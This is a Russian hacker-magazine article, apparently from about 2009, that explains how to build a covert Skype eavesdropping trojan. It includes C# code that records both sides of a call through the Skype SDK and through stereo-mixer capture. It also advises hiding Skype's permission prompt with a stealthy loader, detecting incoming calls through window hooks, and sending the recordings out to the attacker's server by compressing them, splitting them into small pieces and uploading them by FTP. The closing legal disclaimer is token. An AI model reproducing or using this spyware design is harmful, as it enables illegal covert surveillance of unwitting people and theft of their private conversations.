Содержание статьи
Скайп, бесспорно, рулит.
Если раньше нам нужно было часами отвисать в текстовых чатах, набивая килобайты
информации, то теперь, благодаря распространению безлимитного инета вплоть до
российской глубинки, даже самые удаленные от столицы интернетчики могут познать
радость голосового общения.
Хакера же все это голосовое общение может только расстроить. Ведь теперь
гениальные keylog’еры, которые он научился мастерить из подручных инструментов,
начинают нервно курить в сторонке. Общение голосом хуками не перехватишь! Что же
делать? Смириться и уходить на заслуженную ][-пенсию? Ни в коем случае! Я провел
все необходимые исследования по захвату скайп-переговоров (редактор рубрики
обещал поставить смертельную инъекцию, если я их не закончу) и прямо сейчас
готов поделиться их результатами. Let’s go!
Способы перехвата
С целью мы определились и теперь нужно начитаться скучной теории, без которой
в таком деле продвинуться нереально. Прогуляйся по улице, свари себе чашечку
глинтвейна, расположись удобнее в кресле и начинай впитывать священные знания.
Способ #1
Буквально в начале октября 2009 года один умелец написал продвинутый снифер,
о котором написали во всех security-ресурсах всемирной паутины. Если верить
новостям и автору снифа, то выходит, что перцу удалось перехватить скайп-трафик
(ну, это можно было сделать и раньше) и, что самое главное – расшифровать его.
Обойти такое событие стороной я не мог, поэтому немедленно решил найти
заветный исходничек (автор снифера был чертовски добр и выложил на паблик полный
сорец), но жестко обломался. Враги народа убрали заветный сорец с сабжевого
сайта, а часовой марш-бросок по гуглу нормальных результатов не дал. Мне лишь
попадались какие-то нерабочие сорцы.
Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вышло, то
зачем я все это тебе рассказываю? Все просто, ситуация меняется каждый день и
вполне возможно, что к моменту выхода статьи в свет на просторах всемирной
паутины появятся рабочие сорцы этого тройчика. Чем черт не шутит. Учти, если
удастся найти заветный исходник, то считай, что у тебя в руках все козыри и
теперь все скайперы станут для тебя мишенями.
Способ #2
Несомненно, первый способ - самый лучший, но с реализацией реальный напряг.
Буду откровенен: я уже отчаялся и хотел положить на всю затею железный болт, но
редактор рубрики был другого мнения. После пары намеков, двух ударов по почкам и
печени я не смог отказать в подготовке материала. Как оказалось, сделал я это не
зря.
Если не получается достичь цели напрямую, то нужно заходить с тылу. Так
поступил и ваш покорный слуга. Идея проста до безобразия и, возможно, ты уже
даже юзал эту фичу для какого-нибудь благого дела.
Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной
любимых операционных системах от Microsoft есть такая фича - стерео-микшер.
Немногие знают, что благодаря этой, казалось бы, бесполезной приблуде и
какого-нибудь языка программирования реально сварганить полноценного
skype-шпиона.
Активируй в своей (или не совсем своей?) системе стерео-микшер, и тебе
становятся подвластными оба звуковых потока – тот, которой идет на микрофон и
соответственно тот, который поступает на колонки/наушники. Догадываешься, к чему
я клоню? Все верно, чтобы зарипать беседу двух людей по скайпу, тебе лишь
потребуется воспользоваться стандартным WinAPI/объектами для записи звука с
микрофона.
Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув на
врезку 1. В нем я привел часть, отвечающего за запись звука. Не торопись все это
переписывать, сразу он у тебя все равно не скомпилится.
Увы, несмотря на всю мощь и безграничные возможности .NET Framework, в нем
совершенно отсутствуют инструменты для записи звука. Несомненно, в будущих
версиях этот пробел будет восполнен, но мы-то ждать не можем!
Многие .NET-разработчики для организации в своих приложениях возможности
записи звука используют банальные вызовы API-функций. Вариант неплохой, но
крайне неудобный. Я пошел несколько другим путем и воспользовался наработками
Mark Heath.
Этот человек потрудился на славу и создал проект NAudio – аудиоредактор с
открытым исходным кодом. В рамках проекта Марк написал каркас, позволяющий
максимально удобно взаимодействовать с различными WinAPI-функциями для работы со
звуком.
NAudio доступен на нашем DVD. Просто
подтяни его модули к своему проекту и тебе станут доступны все необходимые
классы. Записывать звук с их помощью крайне просто. Да ты, наверное, в этом уже
убедился :).
В самом начале листинга я определяю формат WAV-файла. Для этого мне требуется
установить количество каналов (в нашем случае будем писать в mono) и частоту
сэмпла. Кроме настроек формата аудиофайла, мне требуется определить устройство
(device number), с которого мы будем захватывать звук. Я устанавливаю 0, что
соответствует устройству записи "по умолчанию".
Узнавать об очередной порции поступивших на звуковую карту данных нам может
событие waveIn_DataAvaible(). Если оно сработало, то значит пришли данные и их
требуется записать.
А вот и первые минусы
Не спеши пускать слюни и пытаться впопыхах сотворить зловреда для Skype.
Предложенный мной способ хорош и полностью работоспособен, но у него есть
несколько минусов, о которых тебе необходимо узнать заранее. Некоторые из них:
1. Нет никаких гарантий, что в системе пользователя стерео-микшер вообще
будет активен. Да, он включен по умолчанию, но многие пользователи принудительно
отключают его. Зачем? Лично мне приходится это делать из-за того, что я пишу
подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а
не голоса соведущего.
Твоя программа должна быть готова к такому положению дел и в случае чего
суметь самостоятельно внести нужные настройки. Вот здесь возникают небольшие
сложности, но разве кто-то говорил, что будет совсем просто?
2. Нет четкого ориентира, на который можно опереться и 100% заверить, что
именно сейчас пользователь начал общаться со своим собеседником. На одном из
кодерских форумов для решения данной траблы предлагали следующий способ:
анализировать звук, поступающий на микрофон и в случае обнаружения больших
скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к
записи. Для прерывания следует руководствоваться примерно таким алгоритмом –
ждем тишины и, если она длится более n минут, прекращаем захват звука.
Предложенный алгоритм, несомненно, хорош, но в описанном выше виде им лучше
не пользоваться. Попробую объяснить, почему. Заюзав данный способ в чистом виде,
ты рискуешь напороться на большое количество ложных срабатываний. Если на
вражеской территории микрофон лежит возле колонок, из которых без устали звучит
heavy metal, то твой трой будет постоянно вести запись, и во время сбора урожая
ты обнаружишь, что у тебя появился сборник всех любимых треков твоей жертвы. Что
же тогда делать? Надеяться на авось и писать все подряд? Можно, но это как-то не
по-хакцерски.
Я провел небольшой мозговой штурм и пришел к выводу, что озвученным выше
способом пользоваться можно, но только предварительно организовав страховку.
Страховка может быть, как минимум, двух видов:
1. Хуки. В нашем журнале мы неоднократно описывали технику применения хуков,
и еще раз расписывать все подробности и, тем более, приводить примеры, меня
сильно обламывает. Ты уже не маленький и такие вещи должен знать :). Я лишь
подскажу алгоритм:
a. Ставим хук на обработку создания новых окон.
b. Реализуем проверку, в которой обрабатываем каждое вновь созданное окно. В
коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д.
По этим признакам мы можем распознать окно входящего Skype-звонка и в случае
чего начать запись.
2. Функции для работы с окнами. Вторым вариантом решения задачи будут хорошо
знакомые тебе WinAPI-функции для работы с окнами. Ты ведь еще помнишь такие
слова, как FindWindow, EnumWindows, EnumChildWindows и т.д.? С помощью этих API
реализовывается банальный поиск окна входящего звонка. Если окно найдено, то это
означает, что жертва начала базарить по скайпу, в противном случае нужно
выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной,
иначе ты рискуешь пропустить секретные звонки.
Способ #3
И вот мы медленно, но верно добрались до самого простого и удобного способа
записи skype-бесед. Немногие знают, что разработчики Skype поощряют людей,
имеющих желание разрабатывать всякие полезняшки для их детища. Само поощрение
выражается в разработке и обновлении официального SDK.
На основе компонент, входящих в SDK, программисты могут создавать аддоны или
просто приложения на базе Skype. В качестве одной из вкусностей этого наборчика
можно выделить наличие примеров для разных популярных языков программирования.
Тут тебе и C++, и C#, и даже великий и могучий Delphi не забыт (кстати, не все в
курсе, но сам Skype написан на Delphi). Одним словом, этот SDK – рай для
программистов, решивших поковырять Skype.
Для нас с тобой SDK – это даже круче, чем рай. На базе этого каркаса мы
сможем не только записать голосовое общение пользователя, но и перехватить
полученные и отправленные им текстовые сообщения, файлы, совершить звонок от его
имени и т.д.
Но не будем бежать впереди паровоза, восхваляя то, что еще пробовали, а
познакомимся со всеми нюансами на примере.
Лезь на наш DVD и устанавливай SDK. Установка не должна вызвать затруднений.
Просто запусти файлик из папочки SDK и соглашайся со всем, что у тебя спросят.
Завершив установку – запускай Visual Studio (я использовал 2008-ю версию) и
создавай новый проект. В качестве типа проекта выбери шаблон SEHEwc.
Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. По правде
говоря, это не совсем шаблон в привычном нам понимании. В реале это полноценный
пример, демонстрирующий все возможности хваленого мной SDK. Демка написана очень
хорошо и разбираться в ее коде одно удовольствие.
До начала погружения в код стартани свой скайп и запусти созданный прожект (я
сейчас про шаблон). При выполнении исходника твой скайп преданно отрапортует,
что такое-то приложение пытается получить доступ к его функциям. Давай добро и
попробуй отправить через скайп текстовое сообщение. Не успеешь его запулить, как
весь отправленный текст появится в текстовом поле. Это означает, что
демонстрационный пример успешно работает.
Мощность примера не вызывает сомнений. На первый взгляд может показаться, что
его код дает ответы на самые изощренные вопросы, связанные с программированием
скайпа. Но, самая нужная для нас фича – запись разговоров, в нем, увы, не
реализована. Что ж, будем исправлять ситуацию.
Перейди в редактор кода и найди описание метода OurCallStatus. В его теле
описано получение различной инфы о текущем звонке. Это все хорошо и безумно
интересно, но мы хотим другого. Сотри имеющийся код, и вместо него перепиши
содержимое третьей врезки. Пока ты будешь переписывать, я расскажу о том, что
там происходит.
В самой первой строке я выполняю проверку и сравниваю значение переменной
status с со значением clsInProgress перечисления TCallStatus (ух,
настальгическая дельфячья буковка T перед именем типа :)). Если они равны, то
беседа в самом разгаре и пора начинать запись звука.
Теперь приготовься и не упади со стула, когда узнаешь, что запись
осуществляется всего лишь одной строкой:
call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"Путь, куда сохранять" + call.Id.ToString() + ".wav");
В первый параметр метода set_captureMicDevice требуется передать устройство,
на которое будет выведен поток с микрофона. Типы устройств хранятся в
перечислении TCallIoDeviceType. Мы хотим захватывать звук в файл, поэтому ставим
callIoDeviceTypeFile. Второй параметр зависит от первого. В нашем случае в нем
передается путь к файлу, в который будем сохранять результат записи.
Обрати внимание, что вызовом метода set_captureMicDevice мы сохраним лишь
голос нашей жертвы, а те, с кем она говорит – останутся за кадром. Записывать
собеседников мы будем при помощи метода set_OutputDevice:
call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Путь
куда сохранять" + call.Id.ToString() + ".wav");
Параметры у него точно такие же, как и у предыдущего, поэтому дважды
рассказывать не буду :).
Можно сказать, что все готово. Компиль и запускай проект. При стартинге не
забудь одобрить в скайпе инжект, иначе ничего захватить не получится.
Попробуем протестировать наше приложение в реальных условиях. Попроси своего
приятеля, чтобы он позвонил тебе по скайпу и немного поболтал с тобой.
Если при переписывании листинга ты был крайне внимателен, то по переданным в
методы captureMicDevice и set_OutputDevice путям для сохранения файлов, будут
лежать свежеиспеченные WAV’ки. Прослушай их в своем плеере и убедись, что все
работает как надо.
Пользоваться SDK крайне просто (особенно если пишешь под .NET) и его
возможности будут однозначно востребованы при разработке профессионального
skype-logger’a.
Я не буду тебе рассказывать, как выполнять перехват текстовых сообщений и
другой полезной инфы. Все это делается путем вызова парочки методов, которые
подробно документированы. Доки (само собой на английском) всегда доступны на
официальном портале:
https://developer.skype.com/Docs/Skype4COMLib. Если ты испытываешь проблемы
с инглишем, то не расстраивайся. Просто посмотри код шаблона приложения. Думаю,
ты во всем разберешься. В крайнем случае – пиши мне.
Досадные ограничения
У официального SDK есть один, но крайне большой, минус. При запуске твоего
приложения скайп будет постоянно бить тревогу. Сам понимаешь, если жертва увидит
странное окошко с вопросом: "а разрешить ли этому приложению доступ?", то с
99,9% вероятностью она нажмет на кнопочку "Нет" и ты останешься в пролете. Чтобы
этого не случилось, я рекомендую тебе делать две проги – одна будет
ориентирована на захват звука и написана на удобном C#, а вторая является своего
рода загрузчиком. Ее основной целью будет незаметное пребывание в системе,
скрытие/нажатие кнопок ненужных окон (это про окошко одобрения запуска). Кроме
того, через эту самую прогу-загрузчик можно будет реализовать все функции
удаленного управления и т.д. В общем, идею ты понял.
Как бороться с "ненужными" окнами?
И во втором и в третьем методе захвата скайп-бесед мы напоролись на проблему
- взаимодействие с окнами чужого приложения. Я говорил, что о работе с чужими
окнами в нашем журнале мы рассказывали много раз (рекомендую статью про угон
кошельков веб мани, опубликованную года 3-4 назад), но если ты только влился в
нашу тусовку и не знаешь, что да как, не поленись, зайди на bing.com и поищи там
на предмет функций FindWindow, GetWindowText, PostMessage. Поисковик мелкомягких
сразу же тебя выведет на нужный раздел MSDN’а и ты быстренько сможешь
познакомиться с этими полезными функциями.
Вывод файлов
Рано или поздно ты столкнешься с еще одной большой проблемой – сбором урожая.
Безошибочно сейвить всю болтовню жертвы, конечно же, хорошо, но какой толк от
награбленного добра, если его нельзя забрать и проанализировать? Верно,
никакого.
Шпион для скайпа – это не кейлоггер и его логи так просто по почте не
отправишь. Мало того, что файлы со звуком брутально весят, так еще и пересылать
их протоколу smtp совсем не айс.
Задача вывода файлов усложняется в несколько раз, если юзер сидит не на
безлимите (да-да, такие еще встречаются). В этом случае пересылка больших по
объему файлов не останется незамеченной в статистике и это обязательно
насторожит продвинутого пользователя. Особенно, когда он будет испытывать
большие тормоза во время нахождения в сети.
Немного покумекав, я пришел к следующему алгоритму:
- Кодирование каждого файла со звуком в формат mp3. Изначально все разговоры
нашей жертвы мы писали в WAV’ы, которые очень много весят. Например, средний
размер продолжительной беседы (около часа) может достигать 50-80 метров (в
зависимости от настроек). Пересылать такой файл в чистом виде, мягко говоря,
нереально. Перекодировка в формат mp3 частично решит проблему размера. Если
выставить максимальную степень сжатия и минимальный битрейт, то размер удастся
сократить в 3-4 раза. Это уже лучше, но не идеально. Вывод тех же 5 метров
может показаться затруднительным. - Разбивка файла на более мелкие части. В предыдущем абзаце я сказал, что
даже такая операция как кодирование файла в mp3 не спасет тебя от проблем с
пересылкой. Лучше всего разбить сжатый файл на более мелкие части и отправлять
уже их. Например, раздробить mp3 на частички по 300-500 Кб. Такие крохотульки
будет куда проще и быстрее вывести с поля битвы.
По подготовке файлов к отправке я вроде все сказал. Быстренько пробежимся по
способу отправки. Несколькими абзацами выше, я заявил, что пересылать такие вещи
по smtp не очень правильно, да и попросту проблематично. Куда лучше заюзать
проверенный годами старый добрый ftp! Встроить в свое .NET-приложение
простенький FTP-клиент – что может быть проще? Взгляни на врезку и убедись сам.
Happy end
Нет предела возможностям человека и нет предела совершенству. Нерешаемых
задач не бывает и все трудности можно преодолеть. Сегодня я рассказал тебе про
строение скелета voice-logger’a, и дальнейший выбор зависит только от тебя. Либо
ты сведешь всю полученную инфу в одну кучу и создашь неуловимого шпиона для
скайпа, либо разработаешь профессиональный инструмент для легального бэкапа
переговоров :). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе
удачи!
P.S. Полные исходники моего трояна не проси. Все равно не дам, я жадный :). А
если серьезно, я не поддерживаю такие вещи и не хочу, чтобы многие тупо компили
готовый проект и приступали к боевым действиям. Прослушка разговоров – это
вторжение в личную жизнь, а это, помимо незаконности, еще и подло! До встречи!
Warning
Подслушивание чужих разговоров – глубоко незаконная вещь. Используй
полученную информацию только для создания бэкапера своих разговоров!
Врезка 1. Записываем звук
//Подготавливаемся к записи
waveIn = new WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
int sampleRate = 8000;
int channels = 1;
waveIn.WaveFormat = new WaveFormat(sampleRate, channels);
waveIn.StartRecording();
void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
writer.WriteData(e.Buffer, 0, e.BytesRecorded);
…
}
Врезка 2. Запись входящих звонков в файл
try
{
// Запись входящего звонка
if (status == TCallStatus.clsInProgress)
{
//Захватываем звук и сохраняем его в
//файл (поток пользователя)
call.set_CaptureMicDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_user" + call.Id.ToString() +
".wav");
// Захватываем звук и сохраняем
//его в файл (всех остальных собеседников
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_people" + call.Id.ToString() +
".wav");
}
}
catch (Exception e)
{
//Выведем ошибки
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" Our Code – Невозможно выполнить захват аудио: " + call.Id.ToString() +
" – Источник ошибки: " + e.Source + " – Текст ошибки: " + e.Message +
"\r\n");
}
Врезка 3. FTP клиент средствами класса на основе класса FTP Dot .NET
try
{
FtpConnection myFtpConnection =
new FtpConnection();
myFtpConnection.MessageReceived +=
new FtpConnectionEventHandler(connection_MessageReceived);
myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"username";
myFtpConnection.Password =
"password";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}
catch (WebException ex)
{
Console.WriteLine(ex.ToString());
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
void connection_MessageReceived(object sender,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);